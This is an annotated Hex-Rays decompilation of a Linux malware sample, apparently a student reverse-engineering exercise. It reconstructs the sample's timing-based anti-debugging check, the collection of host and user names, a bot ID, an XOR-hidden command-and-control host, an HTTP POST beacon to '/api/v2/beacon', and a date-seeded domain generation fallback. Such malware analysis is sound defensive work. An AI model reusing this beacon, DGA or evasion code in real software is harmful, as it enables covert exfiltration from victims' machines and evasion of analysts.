/* This file was generated by the Hex-Rays decompiler version 8.2.0.221215. Copyright (c) 2007-2021 Hex-Rays Detected compiler: GNU C++ */ // analysis by Zachary R. James (zach15james@proton.me / zjames8@lsu.edu) & Joshua C. Harris (jhar284@lsu.edu) // note: there was so much obsfucation / wasted distractions, that I consolidated groups of them to a line, // then I i placed a "//COMMENTED_OUT:" before the line to indicate it wasn't commented before // summary: this malware runs on a host machine and sends information (system name, username, inside a hashed (ie a bunch of fancy, though deterministic ie im sure reversible on the malicious recievers' machine, so its just less obvious??) bot_id code) to an server. // if machine is being debugged, which it checks via time (tm) checks, then it runs random bullshit to get the result #include //------------------------------------------------------------------------- // Function declarations // all a waste of time //COMMENTED_OUT:__int64 (**init_proc())(void); // useless function (never called - more obsfucation) //COMMENTED_OUT:void sub_1020();void sub_1030();void sub_1040();void sub_1050();void sub_1060();void sub_1070();void sub_1080();void sub_1090();void sub_10A0();void sub_10B0();void sub_10C0();void sub_10D0();void sub_10E0();void sub_10F0();void sub_1100();void sub_1110();void sub_1120(); // C library fns (normal fns... ie I just look up these defs... I guess IDA just shows them) // int __fastcall _cxa_finalize(void *); // char *getenv(const char *name); // struct tm *localtime(const time_t *timer); // char *strncpy(char *dest, const char *src, size_t n); // int puts(const char *s); // clock_t clock(void); // size_t strlen(const char *s); // ssize_t send(int fd, const void *buf, size_t n, int flags); // int snprintf(char *s, size_t maxlen, const char *format, ...); // void *memset(void *s, int c, size_t n); // int close(int fd); // time_t time(time_t *timer); // int gethostname(char *name, size_t len); // int connect(int fd, const struct sockaddr *addr, socklen_t len); // int getaddrinfo(const char *name, const char *service, const struct addrinfo *req, struct addrinfo **pai); // void freeaddrinfo(struct addrinfo *ai); // int socket(int domain, int type, int protocol); void __fastcall __noreturn start(__int64 a1, __int64 a2, void (*a3)(void)); char *deregister_tm_clones(); //COMMENTED_OUT:__int64 register_tm_clones(void); // weak // nonsense ie waste of time char *_do_global_dtors_aux(); __int64 __fastcall frame_dummy(); // weak __int64 __fastcall decode_xor(__int64 a1, unsigned __int64 a2, unsigned int a3, __int64 a4, unsigned __int64 a5); _BOOL8 check_timing(); // check to see if this is being debugged char *__fastcall gather_info(char *a1, size_t a2, char *a3, __int64 a4); __int64 __fastcall generate_bot_id(_BYTE *a1, _BYTE *a2); _BYTE *__fastcall generate_domain(int a1, int a2, __int64 a3, unsigned __int64 a4); int __fastcall format_beacon(char *a1, size_t a2, const char *a3, const char *a4, unsigned int a5, const char *a6, const char *a7); __int64 __fastcall send_beacon(const char *a1, const char *a2, const char *a3); int __cdecl main(int argc, const char **argv, const char **envp); //COMMENTED_OUT:void term_proc(); // either BS (obsfucascation or compiler default junk ie whatever it is, likely irrelevant) // char *getenv(const char *name); // int __fastcall _libc_start_main(int (__fastcall *main)(int, char **, char **), int argc, char **ubp_av, void (*init)(void), void (*fini)(void), void (*rtld_fini)(void), void *stack_end); // int __fastcall __cxa_finalize(void *); // __int64 _gmon_start__(void); weak // QUESTION: what is this ??? //------------------------------------------------------------------------- // Data declarations _UNKNOWN g_c2_host; // weak _UNKNOWN g_decoy; // weak void *_dso_handle = &_dso_handle; // idb // defined by the linker [https://forums.raspberrypi.com/viewtopic.php?t=135495, https://reviews.llvm.org/D30419?id=89908] char _bss_start; // weak // Was ist das ???? !! // okay the actual memory location of this MATTERS IFF the fn is used... so I may have to go back to the lab to check for it // JUNK: //"The function call_gmon_start initializes the gmon profiling system. This system is enabled when binaries are compiled with the -pg flag, and creates output for use with gprof(1). In the case of the scenario binary call_gmon_start is situated directly proceeding that _start function. The call_gmon_start function finds the last entry in the Global Offset Table (also known as __gmon_start__) and, if not NULL, will pass control to the specified address. The __gmon_start__ element points to the gmon initialization function, which starts the recording of profiling information and registers a cleanup function with atexit(). In our case however gmon is not in use, and as such __gmon_start__ is NULL" (https://stackoverflow.com/questions/12697081/what-is-the-gmon-start-symbol). //COMMENTED_OUT:__int64 (**init_proc())(void){__int64(**result)(void);result = &_gmon_start__;if(&_gmon_start__)return (__int64 (**)(void))_gmon_start__();return result;} // 40B8: using guessed type __int64 _gmon_start__(void); // the following void sub_.... fns are useless / obsfucation //sub_10{3,4,5,5,6,7,8,9,A,B,C,D,E,F}0, 11{0,1,2}0-->sub_1020 --> JUMPOUT(0LL) ;; all obfuscations //COMMENTED_OUT:void sub_1020(){JUMPOUT(0LL);}void sub_1030(){sub_1020();}void sub_1040(){sub_1020();}void sub_1050(){sub_1020();}void sub_1060(){sub_1020();}void sub_1070(){sub_1020();}void sub_1080(){sub_1020();}void sub_1090(){sub_1020();}void sub_10A0(){sub_1020();}void sub_10B0(){sub_1020();}void sub_10C0(){sub_1020();}void sub_10D0(){sub_1020();}void sub_10E0(){sub_1020();}void sub_10F0(){sub_1020();}void sub_1100(){sub_1020();}void sub_1110(){sub_1020();}void sub_1120(){sub_1020();} // fn actually looks valuable! // ACTUALLY_VALUABLE_FN!! //----- (0000000000001240) ---------------------------------------------------- // positive sp value has been detected, the https://github.com/zach15james/xorpd/blob/main/0x39.pdfoutput may be wrong! void __fastcall __noreturn start(__int64 a1, __int64 a2, void (*a3)(void)) { __int64 v3; // rax int v4; // esi __int64 v5; // [rsp-8h] [rbp-8h] BYREF char *retaddr; // [rsp+0h] [rbp+0h] BYREF v4 = v5; v5 = v3; _libc_start_main((int (__fastcall *)(int, char **, char **))main, v4, &retaddr, 0LL, 0LL, a3, &v5); __halt(); } // 124A: positive sp value 8 has been found // 1251: variable 'v3' is possibly undefined char *deregister_tm_clones() { return &_bss_start;} //COMMENTED_OUT:__int64 register_tm_clones(){return 0LL;} char *_do_global_dtors_aux() { char *result; // rax // note: _bss_start == 0 @ the beginning, ie 0~false ==> !0 ~ true ie if(true) because .bss is initialized to all zeros per [https://en.wikipedia.org/wiki/.bss#:~:text=Typically%20only%20the%20length%20of,a%20certain%20range%20of%20addresses]: // "On some platforms, some or all of the bss section is initialized to zeroes. Unix-like systems and Windows initialize the bss section to zero" if ( !_bss_start ) // _bss_start < 1 --> continue ie HAS NOT BEEN CALLED YET BY THIS LOOP; ie !(1~true)~!true ~ false { // what is the cxa_finalize doing ??? if ( &__cxa_finalize ) _cxa_finalize(_dso_handle); result = deregister_tm_clones(); // ie result := &_bss_start ("Normally _bss_start will point to the first free address after the data section and __bss_end will point to the location __bss_start + sizeof(bss section)." - RPI formum cited above) // ie before this all the _bss_start >= (0000000000001899) // ie start of code: 0x0000000000001000 ---> code ---> main() @ 0x0000000000001899 --> _bss_start _bss_start = 1; // now _bss_start := 1 } return result; } // 4010: using guessed type char _bss_start; //COMMENTED_OUT:__int64 frame_dummy(){return register_tm_clones();} // returns 0, NEVER CALLED - ie WASTE OF TIME (obsfucation/junk) //----- (0000000000001329) ---------------------------------------------------- __int64 __fastcall decode_xor(__int64 a1, unsigned __int64 a2, unsigned int a3, __int64 a4, unsigned __int64 a5) { __int64 result; // rax unsigned __int64 i; // [rsp+30h] [rbp-8h] // decleares i result = a3; // result = a3 if ( a5 ) // if (a5>0) { // FOR {i < a2, i + 1 < a5}... (a4 + i) := a3 ^ (a1 + i) ie a4 := a3 xor a1 = result xor (a1) for ( i = 0LL; i < a2 && i + 1 < a5; ++i ) *(_BYTE *)(a4 + i) = a3 ^ *(_BYTE *)(a1 + i); result = a4 + i; *(_BYTE *)(a4 + i) = 0; } return result; } // checks if it is slow (ie IF SLOW ==> I am being watched (intuited from the 'Art of Unpacking' (read it in an afternoon @ City Roots :)) //----- (00000000000013A9) ---------------------------------------------------- _BOOL8 check_timing() // ie Bool: IsNaiveREBroDebuggerDebugging? { int v1; // [rsp+4h] [rbp-1Ch] clock_t v2; // [rsp+10h] [rbp-10h] int i; // [rsp+1Ch] [rbp-4h] v1 = 0; v2 = clock(); for ( i = 0; i <= 49999; ++i ) v1 += i * i; return clock() - v2 > 200000; // return: time_after_fn_start - time_before_fn_start > 200,000 // (ie the naive debugger is in a debugger or starts, goes through the check_timing(), then leaves for later) } //NOTE: not fully done //----- (000000000000140A) ---------------------------------------------------- char *__fastcall gather_info(char *a1, size_t a2, char *a3, __int64 a4) { char *result; // rax char v7[8]; // [rsp+20h] [rbp-10h] BYREF char *src; // [rsp+28h] [rbp-8h] // string pointer gethostname(a1, a2); // gethostname(char *name, size_t size) // " returns the null-terminated hostname in the character array name, which has a size of size bytes. If the // null-terminated hostname is too large to fit, then the name is // truncated, and no error is returned" [https://man7.org/linux/man-pages/man2/gethostname.2.html] strcpy(v7, "USER"); src = getenv(v7); //"The C stdlib library getenv() function searches for the environment string pointed to by name in the list of environment // variables associated with the current process. It finds a match by the name we provided. // If it finds a match, it returns a pointer to the C string that contains the value of that environment variable. // [https://www.tutorialspoint.com/c_standard_library/c_function_getenv.htm] if ( !src ) src = "unknown"; // if NULL ("USER" string not found in any env variables // "char *stpncpy(char * restrict dst, const char * restrict src, size_t len);" // [https://nxmnpg.lemoda.net/3/strncpy] strncpy(a3, src, a4 - 1); // a3 := src w/ length of a4-1 === USRName result = &a3[a4 - 1]; // get the data that is owned by user ? *result = 0; /// 0-out that data ?? return result; // you get the user directory / data } //----- (000000000000149F) ---------------------------------------------------- __int64 __fastcall generate_bot_id(_BYTE *a1, _BYTE *a2) // (sys, usr) { _BYTE *v2; // rax _BYTE *v3; // rax unsigned int v7; // [rsp+18h] [rbp-8h] int v8; // [rsp+1Ch] [rbp-4h] v7 = 0; v8 = 0; // going byte by byte while ( *a1 ) // while byte @ a1 != 0 { // v2 is the ptr to the current location inside the a1 location (can think of it like an array) // ie v2 is the iterator ptr for *a2 v2 = a1++; *((_BYTE *)&v7 + v8 % 4) ^= *v2; // v7_bytei := (SYS_bytei + v8%4) ^ (*v2=SYS_STR_byte_i) ++v8; } while ( *a2 ) { v3 = a2++; // v3 the iterator ptr for a2 *((_BYTE *)&v7 + v8 % 4) ^= *v3; // v7_bytei := (SYS_bytei + v8%4) ^ USR_STR_byte_i ++v8; } // returns v7 := [vy_b return _byteswap_ulong(v7); // " Reverses the order of bytes in an integer." // [https://learn.microsoft.com/en-us/cpp/c-runtime-library/reference/byteswap-uint64-byteswap-ulong-byteswap-ushort?view=msvc-170] } // this fn generates a domain name w/ asci characters that always ends in .com //----- (000000000000157E) ---------------------------------------------------- _BYTE *__fastcall generate_domain(int a1, int a2, __int64 a3, unsigned __int64 a4) { _BYTE *result; // rax signed int i; // [rsp+20h] [rbp-8h] unsigned int v6; // [rsp+24h] [rbp-4h] //(x_k = 7 * a + A) v6 = 7 * a2 + a1; // for rule: // i < ( (7*a2 + a1) % 5u ) + 8 // i + 5 < a4 for ( i = 0; i < (int)((7 * a2 + a1) % 5u + 8) && i + 5 < a4; ++i ) { // (x_k+1 = a*x_k + b ~ some update rule / seed ie w/ set constants a,b being the seeds in a sense though the linear equation is also part of that seed ) v6 = 1103515245 * v6 + 12345; // SET 1 BYTE PTR @ ADDRESS (BASE a3, OFFSET i) := 'a' + (BYTE2(v6) % 26) !! key here (as best as human understanding can get)! *(_BYTE *)(i + a3) = BYTE2(v6) - 26 * ((unsigned int)( (1321528399 * (unsigned __int64)HIWORD(v6)) >> 32) >> 3) + 97; // let Z := { the above } // note: ^THIS ^ number is either a seed OR a magic # (like in xorpd puzzles) // d.h., // '*(_BYTE *)(i + a3) =' // * ~ DEREFERENCE ~ write/set the value @ address // (_BYTE *) ~ CAST () ... the following (line below) to _BYTE ~ 1 byte * pointer ie CAST TO 1 BYTE POINTER // (EXPRESSION ~ address calculation) // // 'BYTE2(v6) - 26 * ((unsigned int)((1321528399 * (unsigned __int64)HIWORD(v6)) >> 32) >> 3) + 97;' // BYTE2(v6) ~ ie v6=(...b3 [b2] b1 b0) // - 26 * ( (unsigned int) ~ casts to // (Z >> 32) >> 3 // ) // + 97; ~ ASCI 'a' (a 97 61 141 1100001) [https://www.ibm.com/docs/en/aix/7.1.0?topic=adapters-ascii-decimal-hexadecimal-octal-binary-conversion-table] // given Z == (1321528399 * (unsigned __int64)HIWORD(v6)) === 1321528399 * (unsigned ie overflow cast ==> max, not negative) HIWORD(v6) // HIWORD(v6) == [upper v6][lower v6 ] >> 16 == 0..0[upper v6 ~ new lower v6] =: H // BYTE2(v6) === [upper upper v6][2: lower upper v6][1: upper lower 8][0: lower 8 bits] =: B // // //below are test cases for: (Z>>32)>>3 ==> x % 26 // uint64_t temp = 1321528399ULL * ((v6 >> 16) & 0xFFFF); // uint32_t q = (uint32_t)(temp >> 32) >> 3; // uint8_t expr = (uint8_t)(byte2 - 26 * q); //00100000 16 16 '' '' //00110000 17 17 '' '' //00120000 18 18 '' '' //00130000 19 19 '' '' //00140000 20 20 '' '' //00150000 21 21 '' '' //00160000 22 22 '' '' //00170000 23 23 '' '' //00180000 24 24 '' '' //00190000 25 25 '' '' //001A0000 26 0 '' '' //001B0000 27 1 '' '' //001C0000 28 2 '' '' //001D0000 29 3 '' '' //001E0000 30 4 '' '' //001F0000 31 5 '' '' // ... //00310000 49 23 '' '' //00320000 50 24 '' '' //00330000 51 25 '' '' //00340000 52 0 '' '' //00350000 53 1 '' '' //00360000 54 2 '' '' //00370000 55 3 '' '' //00380000 56 4 '' '' //00390000 57 5 '' '' //003A0000 58 6 '' '' //003B0000 59 7 '' '' // ... //04C0000 76 24 '' '' //004D0000 77 25 '' '' //004E0000 78 0 '' '' // // ie clearly x % 26 // } // breaking the above line down... // from HexRays : // BYTE2(x) := 0,1,2 ie 3rd byte of x ie 3rd bye (from lower to upper) of v6 above // "#define BYTE2(x) BYTEn(x, 2)" // "#define BYTEn(x, n) (*((_BYTE*)&(x)+n))" // HIWORD(x) := higher word // "#define HIWORD(x) (*((_WORD*)&(x)+1))" // [https://github.com/nihilus/hexrays_tools/blob/master/code/defs.h] //LE BE //┌──┬──┐ //│4D│1A├◄───LOBYTE //├──┼──┤ //│3C│2B├◄───BYTE1 //├──┼──┤ //│2B│3C├◄───BYTE2 //├──┼──┤ //│1A│4D├◄───HIBYTE //└──┴──┘ //[https://hex-rays.com/blog/igors-tip-of-the-week-67-decompiler-helpers] *(_BYTE *)(i + a3) = 46; // 0x2e ~ '.' *(_BYTE *)(i + 1 + a3) = 99; // 0x63 ~ 'c' *(_BYTE *)(i + 2 + a3) = 111; // 0x6f ~ 'o' *(_BYTE *)(i + 3 + a3) = 109; // 0x6d ~ 'm' // ie 4 bytes together is a dword in x86-64 little endian: 0x6d6f632e ~ ".com" // ie a website domain name ending or a .com runnable file (likely former considering networking-type calls here) result = (_BYTE *)(i + 4 + a3); *result = 0; return result; } //----- (00000000000016A4) ---------------------------------------------------- int __fastcall format_beacon( char *a1, // char string buffer size_t a2, const char *a3, const char *a4, unsigned int a5, const char *a6, const char *a7) { //[https://cplusplus.com/reference/cstdio/snprintf/] // "int snprintf ( char * s, size_t n, const char * format, ... );" // s: Pointer to a buffer where the resulting C-string is stored. The buffer should have a size of at least n characters. return snprintf(a1, a2, "SYS:%s\nUSR:%s\nBID:%08X\nC2:%s%s\n", a3, a4, a5, a6, a7); // a3 = SYS : a4 = USR : a5 = BID : a6,a7 = C2 } // ie, this is used to send the system name, host name, and botid to the selected server //----- (0000000000001709) ---------------------------------------------------- __int64 __fastcall send_beacon(const char *a1, const char *a2, const char *a3) { size_t v4; // rax size_t v5; // rax char buf[1032]; // [rsp+20h] [rbp-450h] BYREF struct addrinfo *pai; // [rsp+428h] [rbp-48h] BYREF struct addrinfo s; // [rsp+430h] [rbp-40h] BYREF int fd; // [rsp+46Ch] [rbp-4h] memset(&s, 0, sizeof(s)); s.ai_family = 2; s.ai_socktype = 1; // grabs the address info if ( getaddrinfo(a1, "80", &s, &pai) ) return 0xFFFFFFFFLL; //struct addrinfo { // int ai_flags; // int ai_family; // {AF_INET, AF_INET6, AF_UNSPEC} // "This field specifies the desired address family for the returned addresses." // int ai_socktype; // {SOCK_STREAM, SOCK_DGRAM, 0, &c} // "This field specifies the preferred socket type" // int ai_protocol; // "This field specifies the protocol for the returned socket addresses." // socklen_t ai_addrlen; // struct sockaddr *ai_addr; // char *ai_canonname; // struct addrinfo *ai_next; // }; // [https://man7.org/linux/man-pages/man3/getaddrinfo.3.html] // makes a socket at pai's return address family, socket type, and socked address protocol fd = socket(pai->ai_family, pai->ai_socktype, pai->ai_protocol); // err codes: ///* Error values for `getaddrinfo' function. */ //# define EAI_BADFLAGS -1 /* Invalid value for `ai_flags' field. */ //# define EAI_NONAME -2 /* NAME or SERVICE is unknown. */ //# define EAI_AGAIN -3 /* Temporary failure in name resolution. */ //# define EAI_FAIL -4 /* Non-recoverable failure in name res. */ //# define EAI_FAMILY -6 /* `ai_family' not supported. */ //# define EAI_SOCKTYPE -7 /* `ai_socktype' not supported. */ //# define EAI_SERVICE -8 /* SERVICE not supported for `ai_socktype'. */ //# define EAI_MEMORY -10 /* Memory allocation failure. */ //# define EAI_SYSTEM -11 /* System error returned in `errno'. */ //# define EAI_OVERFLOW -12 /* Argument buffer overflow. */ // [https://github.com/bminor/glibc/blob/master/resolv/netdb.h#L589] if ( fd >= 0 ) // if the socket setup was successful (errors above would have killed it) { if ( connect(fd, pai->ai_addr, pai->ai_addrlen) ) // connection was successful { close(fd); freeaddrinfo(pai); return 0xFFFFFFFFLL; } else { v4 = strlen(a3); // // example (post req) //POST /test HTTP/1.1 //Host: example.com //Content-Type: multipart/form-data;boundary="delimiter12345" // //--delimiter12345 //Content-Disposition: form-data; name="field1" // //value1 //--delimiter12345 //Content-Disposition: form-data; name="field2"; filename="example.txt" // //value2 //--delimiter12345-- // [https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Methods/POST] // HTTP/1.1 ==> persistencehttps://pubs.opengroup.org/onlinepubs/9699919799/functions/freeaddrinfo.html#:~:text=The%20freeaddrinfo()%20function%20frees%20one%20or%20more,freeing%20arbitrary%20sublists%20of%20an%20addrinfo%20list. // "POST ["?"] HTTP/1.1" snprintf(buf, 0x400uLL, "POST %s HTTP/1.1\r\nHost: %s\r\nContent-Length: %zu\r\n\r\n%s", a2, a1, v4, a3); // firs %s ~ file name (a2) // second %s: domain name (a1) // from buffer (v4) // Content-Length: v4 // some argument: a3 (ie the fn argumetn is a3) (format beacon string buffer holding it ) v5 = strlen(buf); //ssize_t send(size_t size; // transmit a msg to another socket // [https://man7.org/linux/man-pages/man2/send.2.html#:~:text=%23include%20%3Csys/socket.,with%20addrlen%20specifying%20its%20size.] send(fd, buf, v5, 0); // sends info to the socket close(fd); // closes the socket // below frees the linked lists associated w/ addrinfo (ie closes things out) // [https://pubs.opengroup.org/onlinepubs/9699919799/functions/freeaddrinfo.html#:~:text=The%20freeaddrinfo()%20function%20frees%20one%20or%20more,freeing%20arbitrary%20sublists%20of%20an%20addrinfo%20list.] freeaddrinfo(pai); // frees the socket return 0LL; } } else { freeaddrinfo(pai); // closes things out return 0xFFFFFFFFLL; } } //----- (0000000000001899) ---------------------------------------------------- int __cdecl main(int argc, const char **argv, const char **envp) { char v4[40]; // [rsp+0h] [rbp-390h] BYREF // buffer (gives domain name to send_beacon(v4= first argument, ... ) time_t timer; // [rsp+28h] [rbp-368h] BYREF // used for the obsfucation check char v6[512]; // [rsp+30h] [rbp-360h] BYREF // used in format_beach(1st arg,..) ==> stores the formatted beacon str / call to then be given to the final argument ie the info of the POST request char v7[64]; // [rsp+230h] [rbp-160h] BYREF // USR (at least partly) char v8[64]; // [rsp+270h] [rbp-120h] BYREF // SYS char s[64]; // [rsp+2B0h] [rbp-E0h] BYREF // buffer for fake (NaiveDebugger case OR if the send_beacon fails in the latter case) // part of that C2 call thing (not sure what this means (path/server/bad guy that gets this info)... last part of it used in format_beacon char v10[64]; // [rsp+2F0h] [rbp-A0h] BYREF // char v11[76]; // [rsp+330h] [rbp-60h] BYREF // unsigned int v12; // [rsp+37Ch] [rbp-14h] // date seed struct tm *v13; // [rsp+380h] [rbp-10h] // ptr to time struct (used in check) int bot_id; // [rsp+388h] [rbp-8h] // BID ie the bot id generated by target sys,usr (used as identifier for attacker) // index / counter unsigned int i; // [rsp+38Ch] [rbp-4h] /// ie {0,1,2} domain tries // check if is being debugged if ( (unsigned int)check_timing(argc, argv, envp) ) { // Bool: NaiveREBroDebuggingThis == TRUE (he didn't take GLDN's class ==> gets caught here) decode_xor(&g_decoy, 21LL, 66LL, s, 64LL); // does fancy math on worthless &g_decoy :) // the math, puts(s); // [https://www.w3schools.com/c/ref_stdio_puts.php] ie just prints out the resulting string (fake output bc we are being debugged) return 0; } else { // FANCY MATH (hiding the actual host machine) // sets v11:= 21 bytes ^ 00111011 decode_xor(&g_c2_host, 21LL, 59LL, v11, 64LL); //puts 2f6170692f76322f626561636f6e which is "/api/v2/beacon" into v10 decode_xor("x6'>x!ex526489", 14LL, 87LL, v10, 64LL); //same random garbo as first call, destination s decode_xor(&g_decoy, 21LL, 66LL, s, 64LL); // FANCY MATH // // gets the info on sys and usr gather_info(v8, 64LL, v7, 64LL); // ie generates a uunique specific, deterministic bot id from the sys and usr as seeds bot_id = generate_bot_id(v8, v7); // ie generate_bot_id(sys, usr) // format the beacon (what does that mean?) format_beacon((unsigned int)v6,512, (unsigned int)v8, (unsigned int)v7, bot_id, (unsigned int)v11, (__int64)v10); // format is: // snprintf(a1, a2, "SYS:%s\nUSR:%s\nBID:%08X\nC2:%s%s\n", a3, a4, a5, a6, a7); // a3 = SYS : a4 = USR : a5 = BID : a6,a7 = C2 // ==> v6?; a2 = 512 (# of bytes Command and Control (C2) within a unit, used for establishing security and unit arein packet?), // BUT: v8 = a3 = SYS // v7 = a4 = USR // bot_id = a5 = BID // v11 = a6 = upper_C2; v10 = a7 = lower_C2 ??? // try to send the beacon // NOTE: i had a vim slip up error, which i think i fixed but if things are off (ie like random text cut / pasted below, that is why) // // if you can successfully send the beacon if ( (unsigned int)send_beacon(v11, v10, v6) ) { // note on time() [https://www.geeksforgeeks.org/c/time-function-in-c/] // "00:00:00 UTC, January 1, 1970 (Unix timestamp) in seconds. If second is not a null pointer, the returned value is also stored in the object pointed to by second." timer = time(0LL); // time(NULL) =: current time ie since 1970 // v13 := tm struct ... //struct tm { // int tm_sec; /* seconds, range 0 to 59 */ // int tm_min; /* minutes, range 0 to 59 */ // int tm_hour; /* hours, range 0 to 23 */ // int tm_mday; /* day of the month, range 1 to 31 */ // int tm_mon; /* month, range 0 to 11 */ // int tm_year; /* The number of years since 1900 */ // int tm_wday; /* day of the week, range 0 to 6 */ // int tm_yday; /* day in the year, range 0 to 365 */ // int tm_isdst; /* daylight saving time */ //}; // [https://www.tutorialspoint.com/c_standard_library/c_function_localtime.htm] v13 = localtime(&timer); //v12 := [year][mo][da] v12 = 100 * (v13->tm_mon + 1) + 10000 * (v13->tm_year + 1900) + v13->tm_mday; for ( i = 0; (int)i <= 2; ++i ) // {0,1,2} <= 3 ==> loops 3 times { // uses the current day to generate the domain (adds a layer of randomness) ie try to send beacon 3 times generate_domain(v12, i, v4, 32LL); // all inputs/parameters are passed-by-value (copy) ==> i is iterated over normally (no fancy changing i here) if ( !(unsigned int)send_beacon(v4, v10, v6) ) break; // break out on successful send } puts(s);return 0; // print out the actual hash from the code (after exiting from successful beacon send or not) } else {puts(s);return 0;} // you didn't send the beacon successfully (print out the calculated hash / code string, but not influenced by the current day) } } //COMMENTED_OUT:void term_proc(){;} // again, seems like bs / waste of time / never called ie irrelevant //IRRELEVANT_TO_ME:nfuncs=68 queued=32 decompiled=32 lumina nreq=0 worse=0 better=0; ALL OK, 32 function(s) have been successfully decompiled